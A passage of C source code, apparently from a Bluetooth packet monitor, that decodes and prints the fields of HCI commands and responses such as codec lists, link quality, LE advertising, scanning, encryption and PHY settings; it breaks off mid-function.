static void read_bd_addr_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_bd_addr *rsp = data;
print_status(rsp->status);
print_bdaddr(rsp->bdaddr);
if (index_current < MAX_INDEX)
memcpy(index_list[index_current].bdaddr, rsp->bdaddr, 6);
}
static void read_data_block_size_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_data_block_size *rsp = data;
print_status(rsp->status);
print_field("Max ACL length: %d", le16_to_cpu(rsp->max_acl_len));
print_field("Block length: %d", le16_to_cpu(rsp->block_len));
print_field("Num blocks: %d", le16_to_cpu(rsp->num_blocks));
}
static void read_local_codecs_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_codecs *rsp = data;
uint8_t i, num_vnd_codecs;
if (rsp->num_codecs + 3 > size) {
print_field("Invalid number of codecs.");
return;
}
print_status(rsp->status);
print_field("Number of supported codecs: %d", rsp->num_codecs);
for (i = 0; i < rsp->num_codecs; i++)
print_codec_id(" Codec", rsp->codec[i]);
num_vnd_codecs = rsp->codec[rsp->num_codecs];
print_field("Number of vendor codecs: %d", num_vnd_codecs);
packet_hexdump(data + rsp->num_codecs + 3,
size - rsp->num_codecs - 3);
}
static void print_codecs(const void *data, int i)
{
const struct bt_hci_codec *codec = data;
print_codec(" Codec", codec);
}
typedef void (*print_list_func_t)(const void *data, int i);
static void print_list(const void *data, uint8_t size, int num_items,
size_t item_size, print_list_func_t func)
{
int i;
for (i = 0; size >= item_size && num_items; i++) {
if (func)
func(data, i);
data += item_size;
size -= item_size;
num_items--;
}
if (num_items)
print_hex_field("", data, size);
}
static void read_local_codecs_rsp_v2(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_codecs_v2 *rsp = data;
uint8_t num_vnd_codecs;
if (rsp->num_codecs + 3 > size) {
print_field("Invalid number of codecs.");
return;
}
print_status(rsp->status);
print_field("Number of supported codecs: %d", rsp->num_codecs);
size -= sizeof(*rsp);
if (size < rsp->num_codecs * sizeof(*rsp->codec)) {
print_field("Invalid number of codecs.");
return;
}
print_list(rsp->codec, size, rsp->num_codecs, sizeof(*rsp->codec),
print_codecs);
size -= rsp->num_codecs * sizeof(*rsp->codec);
if (size < sizeof(uint8_t)) {
print_field("Invalid number of vendor codecs.");
return;
}
num_vnd_codecs = rsp->codec[rsp->num_codecs].id;
print_field("Number of vendor codecs: %d", num_vnd_codecs);
}
static void print_path_direction(const char *prefix, uint8_t dir)
{
const char *str;
switch (dir) {
case 0x00:
str = "Input (Host to Controller)";
break;
case 0x01:
str = "Output (Controller to Host)";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", prefix, str, dir);
}
static void print_vnd_codec(const char *label,
const struct bt_hci_vnd_codec *codec)
{
uint8_t mask;
print_codec_id(label, codec->id);
if (codec->id == 0xff) {
packet_print_company("Company Codec ID",
le16_to_cpu(codec->cid));
print_field("Vendor Codec ID: %d", le16_to_cpu(codec->vid));
}
print_field("Logical Transport Type: 0x%02x", codec->transport);
mask = print_bitfield(2, codec->transport, codec_transport_table);
if (mask)
print_text(COLOR_UNKNOWN_SERVICE_CLASS,
" Unknown transport (0x%2.2x)", mask);
}
static void read_local_codec_caps_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_local_codec_caps *cmd = data;
print_vnd_codec("Codec", &cmd->codec);
print_path_direction("Direction", cmd->dir);
}
static void read_local_codec_caps_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_codec_caps *rsp = data;
uint8_t i;
print_status(rsp->status);
print_field("Number of codec capabilities: %d", rsp->num);
data += sizeof(*rsp);
size -= sizeof(*rsp);
for (i = 0; i < rsp->num; i++) {
const struct bt_hci_codec_caps *caps = data;
if (size < sizeof(*caps)) {
print_field("Invalid capabilities: %u < %zu",
size, sizeof(*caps));
return;
}
print_field(" Capabilities #%u:", i);
packet_hexdump(caps->data, caps->len);
data += 1 + caps->len;
size -= 1 + caps->len;
}
}
static void read_local_ctrl_delay_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_local_ctrl_delay *cmd = data;
print_vnd_codec("Codec", &cmd->codec);
print_path_direction("Direction", cmd->dir);
print_field("Length Codec Configuration: %u", cmd->codec_cfg_len);
}
static void config_data_path_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_config_data_path *cmd = data;
print_path_direction("Direction", cmd->dir);
print_field("ID: %u", cmd->id);
print_field("Vendor Specific Config Length: %u", cmd->vnd_config_len);
print_hex_field("Vendor Specific Config", cmd->vnd_config,
cmd->vnd_config_len);
}
static void print_usec_interval(const char *prefix, const uint8_t interval[3])
{
uint32_t u24 = 0;
memcpy(&u24, interval, 3);
print_field("%s: %u us (0x%6.6x)", prefix, le32_to_cpu(u24),
le32_to_cpu(u24));
}
static void read_local_ctrl_delay_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_ctrl_delay *rsp = data;
print_status(rsp->status);
print_usec_interval("Minimum Controller delay", rsp->min_delay);
print_usec_interval("Maximum Controller delay", rsp->max_delay);
}
static void read_local_pairing_options_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_pairing_options *rsp = data;
print_status(rsp->status);
print_field("Pairing options: 0x%2.2x", rsp->pairing_options);
print_field("Max encryption key size: %u octets", rsp->max_key_size);
}
static void read_failed_contact_counter_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_failed_contact_counter *cmd = data;
print_handle(cmd->handle);
}
static void read_failed_contact_counter_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_failed_contact_counter *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_field("Counter: %u", le16_to_cpu(rsp->counter));
}
static void reset_failed_contact_counter_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_reset_failed_contact_counter *cmd = data;
print_handle(cmd->handle);
}
static void reset_failed_contact_counter_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_reset_failed_contact_counter *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void read_link_quality_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_link_quality *cmd = data;
print_handle(cmd->handle);
}
static void read_link_quality_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_link_quality *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_field("Link quality: 0x%2.2x", rsp->link_quality);
}
static void read_rssi_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_rssi *cmd = data;
print_handle(cmd->handle);
}
static void read_rssi_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_rssi *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_rssi(rsp->rssi);
}
static void read_afh_channel_map_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_afh_channel_map *cmd = data;
print_handle(cmd->handle);
}
static void read_afh_channel_map_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_afh_channel_map *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_enable("Mode", rsp->mode);
print_channel_map(rsp->map);
}
static void read_clock_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_clock *cmd = data;
print_handle(cmd->handle);
print_clock_type(cmd->type);
}
static void read_clock_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_clock *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_clock(rsp->clock);
print_clock_accuracy(rsp->accuracy);
}
static void read_encrypt_key_size_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_encrypt_key_size *cmd = data;
print_handle(cmd->handle);
}
static void read_encrypt_key_size_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_encrypt_key_size *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_key_size(rsp->key_size);
}
static void read_local_amp_info_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_amp_info *rsp = data;
const char *str;
print_status(rsp->status);
print_amp_status(rsp->amp_status);
print_field("Total bandwidth: %d kbps", le32_to_cpu(rsp->total_bw));
print_field("Max guaranteed bandwidth: %d kbps",
le32_to_cpu(rsp->max_bw));
print_field("Min latency: %d", le32_to_cpu(rsp->min_latency));
print_field("Max PDU size: %d", le32_to_cpu(rsp->max_pdu));
switch (rsp->amp_type) {
case 0x00:
str = "Primary BR/EDR Controller";
break;
case 0x01:
str = "802.11 AMP Controller";
break;
default:
str = "Reserved";
break;
}
print_field("Controller type: %s (0x%2.2x)", str, rsp->amp_type);
print_field("PAL capabilities: 0x%4.4x", le16_to_cpu(rsp->pal_cap));
print_field("Max ASSOC length: %d", le16_to_cpu(rsp->max_assoc_len));
print_field("Max flush timeout: %d", le32_to_cpu(rsp->max_flush_to));
print_field("Best effort flush timeout: %d",
le32_to_cpu(rsp->be_flush_to));
}
static void read_local_amp_assoc_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_local_amp_assoc *cmd = data;
print_phy_handle(cmd->phy_handle);
print_field("Length so far: %d", le16_to_cpu(cmd->len_so_far));
print_field("Max ASSOC length: %d", le16_to_cpu(cmd->max_assoc_len));
}
static void read_local_amp_assoc_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_local_amp_assoc *rsp = data;
print_status(rsp->status);
print_phy_handle(rsp->phy_handle);
print_field("Remaining ASSOC length: %d",
le16_to_cpu(rsp->remain_assoc_len));
packet_hexdump(data + 4, size - 4);
}
static void write_remote_amp_assoc_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_remote_amp_assoc *cmd = data;
print_phy_handle(cmd->phy_handle);
print_field("Length so far: %d", le16_to_cpu(cmd->len_so_far));
print_field("Remaining ASSOC length: %d",
le16_to_cpu(cmd->remain_assoc_len));
packet_hexdump(data + 5, size - 5);
}
static void write_remote_amp_assoc_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_write_remote_amp_assoc *rsp = data;
print_status(rsp->status);
print_phy_handle(rsp->phy_handle);
}
static void get_mws_transport_config_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_get_mws_transport_config *rsp = data;
uint8_t sum_baud_rates = 0;
int i;
print_status(rsp->status);
print_field("Number of transports: %d", rsp->num_transports);
for (i = 0; i < rsp->num_transports; i++) {
uint8_t transport = rsp->transport[0];
uint8_t num_baud_rates = rsp->transport[1];
const char *str;
switch (transport) {
case 0x00:
str = "Disbabled";
break;
case 0x01:
str = "WCI-1";
break;
case 0x02:
str = "WCI-2";
break;
default:
str = "Reserved";
break;
}
print_field(" Transport layer: %s (0x%2.2x)", str, transport);
print_field(" Number of baud rates: %d", num_baud_rates);
sum_baud_rates += num_baud_rates;
}
print_field("Baud rate list: %u entr%s", sum_baud_rates,
sum_baud_rates == 1 ? "y" : "ies");
for (i = 0; i < sum_baud_rates; i++) {
uint32_t to_baud_rate, from_baud_rate;
to_baud_rate = get_le32(data + 2 +
rsp->num_transports * 2 + i * 4);
from_baud_rate = get_le32(data + 2 +
rsp->num_transports * 2 +
sum_baud_rates * 4 + i * 4);
print_field(" Bluetooth to MWS: %d", to_baud_rate);
print_field(" MWS to Bluetooth: %d", from_baud_rate);
}
packet_hexdump(data + 2 + rsp->num_transports * 2 + sum_baud_rates * 8,
size - 2 - rsp->num_transports * 2 - sum_baud_rates * 8);
}
static void set_triggered_clock_capture_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_triggered_clock_capture *cmd = data;
print_handle(cmd->handle);
print_enable("Capture", cmd->enable);
print_clock_type(cmd->type);
print_lpo_allowed(cmd->lpo_allowed);
print_field("Clock captures to filter: %u", cmd->num_filter);
}
static void read_loopback_mode_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_loopback_mode *rsp = data;
print_status(rsp->status);
print_loopback_mode(rsp->mode);
}
static void write_loopback_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_loopback_mode *cmd = data;
print_loopback_mode(cmd->mode);
}
static void write_ssp_debug_mode_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_write_ssp_debug_mode *cmd = data;
print_enable("Debug Mode", cmd->mode);
}
static void le_set_event_mask_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_event_mask *cmd = data;
print_event_mask(cmd->mask, events_le_table);
}
static void le_read_buffer_size_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_buffer_size *rsp = data;
print_status(rsp->status);
print_field("Data packet length: %d", le16_to_cpu(rsp->le_mtu));
print_field("Num data packets: %d", rsp->le_max_pkt);
}
static void le_read_local_features_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_local_features *rsp = data;
print_status(rsp->status);
print_features(0, rsp->features, 0x01);
}
static void le_set_random_address_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_random_address *cmd = data;
print_addr("Address", cmd->addr, 0x01);
}
static void le_set_adv_parameters_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_adv_parameters *cmd = data;
const char *str;
print_slot_625("Min advertising interval", cmd->min_interval);
print_slot_625("Max advertising interval", cmd->max_interval);
switch (cmd->type) {
case 0x00:
str = "Connectable undirected - ADV_IND";
break;
case 0x01:
str = "Connectable directed - ADV_DIRECT_IND (high duty cycle)";
break;
case 0x02:
str = "Scannable undirected - ADV_SCAN_IND";
break;
case 0x03:
str = "Non connectable undirected - ADV_NONCONN_IND";
break;
case 0x04:
str = "Connectable directed - ADV_DIRECT_IND (low duty cycle)";
break;
default:
str = "Reserved";
break;
}
print_field("Type: %s (0x%2.2x)", str, cmd->type);
print_own_addr_type(cmd->own_addr_type);
print_addr_type("Direct address type", cmd->direct_addr_type);
print_addr("Direct address", cmd->direct_addr, cmd->direct_addr_type);
print_adv_channel_map("Channel map", cmd->channel_map);
print_adv_filter_policy("Filter policy", cmd->filter_policy);
}
static void le_read_adv_tx_power_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_adv_tx_power *rsp = data;
print_status(rsp->status);
print_power_level(rsp->level, NULL);
}
static void le_set_adv_data_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_adv_data *cmd = data;
print_field("Length: %d", cmd->len);
print_eir(cmd->data, cmd->len, true);
}
static void le_set_scan_rsp_data_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_scan_rsp_data *cmd = data;
print_field("Length: %d", cmd->len);
print_eir(cmd->data, cmd->len, true);
}
static void le_set_adv_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_adv_enable *cmd = data;
print_enable("Advertising", cmd->enable);
}
static void print_scan_type(const char *label, uint8_t type)
{
const char *str;
switch (type) {
case 0x00:
str = "Passive";
break;
case 0x01:
str = "Active";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", label, str, type);
}
static void print_scan_filter_policy(uint8_t policy)
{
const char *str;
switch (policy) {
case 0x00:
str = "Accept all advertisement";
break;
case 0x01:
str = "Ignore not in white list";
break;
case 0x02:
str = "Accept all advertisement, inc. directed unresolved RPA";
break;
case 0x03:
str = "Ignore not in white list, exc. directed unresolved RPA";
break;
default:
str = "Reserved";
break;
}
print_field("Filter policy: %s (0x%2.2x)", str, policy);
}
static void le_set_scan_parameters_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_scan_parameters *cmd = data;
print_scan_type("Type", cmd->type);
print_interval(cmd->interval);
print_window(cmd->window);
print_own_addr_type(cmd->own_addr_type);
print_scan_filter_policy(cmd->filter_policy);
}
static void le_set_scan_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_scan_enable *cmd = data;
print_enable("Scanning", cmd->enable);
print_enable("Filter duplicates", cmd->filter_dup);
}
static void le_create_conn_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_create_conn *cmd = data;
const char *str;
print_slot_625("Scan interval", cmd->scan_interval);
print_slot_625("Scan window", cmd->scan_window);
switch (cmd->filter_policy) {
case 0x00:
str = "White list is not used";
break;
case 0x01:
str = "White list is used";
break;
default:
str = "Reserved";
break;
}
print_field("Filter policy: %s (0x%2.2x)", str, cmd->filter_policy);
print_peer_addr_type("Peer address type", cmd->peer_addr_type);
print_addr("Peer address", cmd->peer_addr, cmd->peer_addr_type);
print_own_addr_type(cmd->own_addr_type);
print_slot_125("Min connection interval", cmd->min_interval);
print_slot_125("Max connection interval", cmd->max_interval);
print_conn_latency("Connection latency", cmd->latency);
print_field("Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(cmd->supv_timeout) * 10,
le16_to_cpu(cmd->supv_timeout));
print_slot_625("Min connection length", cmd->min_length);
print_slot_625("Max connection length", cmd->max_length);
}
static void le_read_white_list_size_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_white_list_size *rsp = data;
print_status(rsp->status);
print_field("Size: %u", rsp->size);
}
static void le_add_to_white_list_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_add_to_white_list *cmd = data;
print_addr_type("Address type", cmd->addr_type);
print_addr("Address", cmd->addr, cmd->addr_type);
}
static void le_remove_from_white_list_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_remove_from_white_list *cmd = data;
print_addr_type("Address type", cmd->addr_type);
print_addr("Address", cmd->addr, cmd->addr_type);
}
static void le_conn_update_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_conn_update *cmd = data;
print_handle(cmd->handle);
print_slot_125("Min connection interval", cmd->min_interval);
print_slot_125("Max connection interval", cmd->max_interval);
print_conn_latency("Connection latency", cmd->latency);
print_field("Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(cmd->supv_timeout) * 10,
le16_to_cpu(cmd->supv_timeout));
print_slot_625("Min connection length", cmd->min_length);
print_slot_625("Max connection length", cmd->max_length);
}
static void le_set_host_classification_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_host_classification *cmd = data;
print_le_channel_map(cmd->map);
}
static void le_read_channel_map_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_read_channel_map *cmd = data;
print_handle(cmd->handle);
}
static void le_read_channel_map_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_channel_map *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_le_channel_map(rsp->map);
}
static void le_read_remote_features_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_read_remote_features *cmd = data;
print_handle(cmd->handle);
}
static void le_encrypt_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_encrypt *cmd = data;
print_key("Key", cmd->key);
print_key("Plaintext data", cmd->plaintext);
}
static void le_encrypt_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_encrypt *rsp = data;
print_status(rsp->status);
print_key("Encrypted data", rsp->data);
}
static void le_rand_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_rand *rsp = data;
print_status(rsp->status);
print_random_number(rsp->number);
}
static void le_start_encrypt_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_start_encrypt *cmd = data;
print_handle(cmd->handle);
print_random_number(cmd->rand);
print_encrypted_diversifier(cmd->ediv);
print_key("Long term key", cmd->ltk);
}
static void le_ltk_req_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_ltk_req_reply *cmd = data;
print_handle(cmd->handle);
print_key("Long term key", cmd->ltk);
}
static void le_ltk_req_reply_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_ltk_req_reply *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void le_ltk_req_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_ltk_req_neg_reply *cmd = data;
print_handle(cmd->handle);
}
static void le_ltk_req_neg_reply_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_ltk_req_neg_reply *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void le_read_supported_states_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_supported_states *rsp = data;
print_status(rsp->status);
print_le_states(rsp->states);
}
static void le_receiver_test_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_receiver_test *cmd = data;
print_field("RX frequency: %d MHz (0x%2.2x)",
(cmd->frequency * 2) + 2402, cmd->frequency);
}
static void le_transmitter_test_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_transmitter_test *cmd = data;
print_field("TX frequency: %d MHz (0x%2.2x)",
(cmd->frequency * 2) + 2402, cmd->frequency);
print_field("Test data length: %d bytes", cmd->data_len);
print_field("Packet payload: 0x%2.2x", cmd->payload);
}
static void le_test_end_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_test_end *rsp = data;
print_status(rsp->status);
print_field("Number of packets: %d", le16_to_cpu(rsp->num_packets));
}
static void le_conn_param_req_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_conn_param_req_reply *cmd = data;
print_handle(cmd->handle);
print_slot_125("Min connection interval", cmd->min_interval);
print_slot_125("Max connection interval", cmd->max_interval);
print_conn_latency("Connection latency", cmd->latency);
print_field("Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(cmd->supv_timeout) * 10,
le16_to_cpu(cmd->supv_timeout));
print_slot_625("Min connection length", cmd->min_length);
print_slot_625("Max connection length", cmd->max_length);
}
static void le_conn_param_req_reply_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_conn_param_req_reply *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void le_conn_param_req_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_conn_param_req_neg_reply *cmd = data;
print_handle(cmd->handle);
print_reason(cmd->reason);
}
static void le_conn_param_req_neg_reply_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_conn_param_req_neg_reply *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void le_set_data_length_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_data_length *cmd = data;
print_handle(cmd->handle);
print_field("TX octets: %d", le16_to_cpu(cmd->tx_len));
print_field("TX time: %d", le16_to_cpu(cmd->tx_time));
}
static void le_set_data_length_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_set_data_length *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
}
static void le_read_default_data_length_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_default_data_length *rsp = data;
print_status(rsp->status);
print_field("TX octets: %d", le16_to_cpu(rsp->tx_len));
print_field("TX time: %d", le16_to_cpu(rsp->tx_time));
}
static void le_write_default_data_length_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_write_default_data_length *cmd = data;
print_field("TX octets: %d", le16_to_cpu(cmd->tx_len));
print_field("TX time: %d", le16_to_cpu(cmd->tx_time));
}
static void le_generate_dhkey_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_generate_dhkey *cmd = data;
print_pk256("Remote P-256 public key", cmd->remote_pk256);
}
static void le_add_to_resolv_list_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_add_to_resolv_list *cmd = data;
print_addr_type("Address type", cmd->addr_type);
print_addr("Address", cmd->addr, cmd->addr_type);
print_key("Peer identity resolving key", cmd->peer_irk);
print_key("Local identity resolving key", cmd->local_irk);
}
static void le_remove_from_resolv_list_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_remove_from_resolv_list *cmd = data;
print_addr_type("Address type", cmd->addr_type);
print_addr("Address", cmd->addr, cmd->addr_type);
}
static void le_read_resolv_list_size_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_resolv_list_size *rsp = data;
print_status(rsp->status);
print_field("Size: %u", rsp->size);
}
static void le_read_peer_resolv_addr_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_read_peer_resolv_addr *cmd = data;
print_addr_type("Address type", cmd->addr_type);
print_addr("Address", cmd->addr, cmd->addr_type);
}
static void le_read_peer_resolv_addr_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_peer_resolv_addr *rsp = data;
print_status(rsp->status);
print_addr("Address", rsp->addr, 0x01);
}
static void le_read_local_resolv_addr_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_read_local_resolv_addr *cmd = data;
print_addr_type("Address type", cmd->addr_type);
print_addr("Address", cmd->addr, cmd->addr_type);
}
static void le_read_local_resolv_addr_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_local_resolv_addr *rsp = data;
print_status(rsp->status);
print_addr("Address", rsp->addr, 0x01);
}
static void le_set_resolv_enable_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_resolv_enable *cmd = data;
print_enable("Address resolution", cmd->enable);
}
static void le_set_resolv_timeout_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_resolv_timeout *cmd = data;
print_field("Timeout: %u seconds", le16_to_cpu(cmd->timeout));
}
static void le_read_max_data_length_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_max_data_length *rsp = data;
print_status(rsp->status);
print_field("Max TX octets: %d", le16_to_cpu(rsp->max_tx_len));
print_field("Max TX time: %d", le16_to_cpu(rsp->max_tx_time));
print_field("Max RX octets: %d", le16_to_cpu(rsp->max_rx_len));
print_field("Max RX time: %d", le16_to_cpu(rsp->max_rx_time));
}
static void le_read_phy_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_read_phy *cmd = data;
print_handle(cmd->handle);
}
static void print_le_phy(const char *prefix, uint8_t phy)
{
const char *str;
switch (phy) {
case 0x01:
str = "LE 1M";
break;
case 0x02:
str = "LE 2M";
break;
case 0x03:
str = "LE Coded";
break;
default:
str = "Reserved";
break;
}
print_field("%s: %s (0x%2.2x)", prefix, str, phy);
}
static void le_read_phy_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_le_read_phy *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_le_phy("TX PHY", rsp->tx_phy);
print_le_phy("RX PHY", rsp->rx_phy);
}
static const struct bitfield_data le_phys[] = {
{ 0, "LE 1M" },
{ 1, "LE 2M" },
{ 2, "LE Coded"},
{ }
};
static const struct bitfield_data le_phy_preference[] = {
{ 0, "No TX PHY preference" },
{ 1, "No RX PHY preference" },
{ }
};
static void print_le_phys_preference(uint8_t all_phys, uint8_t tx_phys,
uint8_t rx_phys)
{
uint8_t mask;
print_field("All PHYs preference: 0x%2.2x", all_phys);
mask = print_bitfield(2, all_phys, le_phy_preference);
if (mask)
print_text(COLOR_UNKNOWN_OPTIONS_BIT, " Reserved"
" (0x%2.2x)", mask);
print_field("TX PHYs preference: 0x%2.2x", tx_phys);
mask = tx_phys;
mask = print_bitfield(2, tx_phys, le_phys);
if (mask)
print_text(COLOR_UNKNOWN_OPTIONS_BIT, " Reserved"
" (0x%2.2x)", mask);
print_field("RX PHYs preference: 0x%2.2x", rx_phys);
mask = rx_phys;
mask = print_bitfield(2, rx_phys, le_phys);
if (mask)
print_text(COLOR_UNKNOWN_OPTIONS_BIT, " Reserved"
" (0x%2.2x)", mask);
}
static void le_set_default_phy_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_default_phy *cmd = data;
print_le_phys_preference(cmd->all_phys, cmd->tx_phys, cmd->rx_phys);
}
static void le_set_phy_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_phy *cmd = data;
const char *str;
print_handle(cmd->handle);
print_le_phys_preference(cmd->all_phys, cmd->tx_phys, cmd->rx_phys);
switch (le16_to_cpu(cmd->phy_opts)) {
case 0x0001:
str = "S2 coding";
break;
case 0x0002:
str = "S8 coding";
break;
default:
str = "Reserved";
break;
}
print_field("PHY options preference: %s (0x%4.4x)", str, cmd->phy_opts);
}
static void le_enhanced_receiver_test_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_enhanced_receiver_test *cmd = data;
const char *str;
print_field("RX channel frequency: %d MHz (0x%2.2x)",
(cmd->rx_channel * 2) + 2402, cmd->rx_channel);
print_le_phy("PHY", cmd->phy);
switch (cmd->modulation_index) {
case 0x00:
str = "Standard";
break;
case 0x01:
str = "Stable";
break;
default:
str = "Reserved";
break;
}
print_field("Modulation index: %s (0x%2.2x)", str,
cmd->modulation_index);
}
static void le_enhanced_transmitter_test_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_enhanced_transmitter_test *cmd = data;
const char *str;
print_field("TX channel frequency: %d MHz (0x%2.2x)",
(cmd->tx_channel * 2) + 2402, cmd->tx_channel);
print_field("Test data length: %d bytes", cmd->data_len);
print_field("Packet payload: 0x%2.2x", cmd->payload);
switch (cmd->phy) {
case 0x01:
str = "LE 1M";
break;
case 0x02:
str = "LE 2M";
break;
case 0x03:
str = "LE Coded with S=8";
break;
case 0x04:
str = "LE Coded with S=2";
break;
default:
str = "Reserved";
break;
}
print_field("PHY: %s (0x%2.2x)", str, cmd->phy);
}
static void le_set_adv_set_rand_addr(const void *data, uint8_t size)
{
const struct bt_hci_cmd_le_set_adv_set_rand_addr *cmd = data;
print_field("Advertising handle: 0x%2.2x", cmd->handle);
print_addr("Advertising random address", cmd->bdaddr, 0x01);
}
static const struct bitfield_data ext_adv_properties_table[] = {
{ 0, "Connectable" },
{ 1, "Scannable" },
{ 2, "Directed" },
{ 3, "High Duty Cycle Directed Connectable" },
{ 4, "Use legacy advertising PDUs" },
{ 5, "Anonymous advertising" },
{ 6, "Include TxPower" },
{ }
};
static const char *get_adv_pdu_desc(uint16_t flags)
{
const char *str;
switch (flags) {
case 0x10:
